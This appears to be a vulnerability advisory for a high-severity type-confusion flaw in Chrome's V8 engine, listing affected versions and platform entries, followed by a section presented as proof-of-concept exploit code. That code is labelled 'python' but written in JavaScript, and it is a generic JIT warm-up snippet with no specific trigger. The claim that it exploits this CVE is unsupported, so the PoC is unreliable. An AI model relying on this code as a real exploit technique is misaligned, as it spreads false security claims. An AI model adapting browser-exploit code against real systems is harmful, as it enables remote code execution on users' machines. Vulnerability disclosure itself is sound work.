Type Confusion in V8 in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-5865: V8 Type Confusion
// This script demonstrates the logic to trigger a type confusion
// in V8 engine prior to 147.0.7727.55.
function trigger_vuln(arr, value) {
// The JIT compiler optimizes this assuming 'arr' is a specific type
arr[0] = value;
return arr[0];
}
// Prepare objects for confusion
let obj_array = [{}];
let float_array = [1.1];
// Warm up the JIT compiler to trigger optimization
for (let i = 0; i < 10000; i++) {
trigger_vuln(float_array, 2.2);
}
// Trigger the type confusion by passing a different array type
// This may result in memory corruption or arbitrary read/write
console.log(trigger_vuln(obj_array, "exploit_payload"));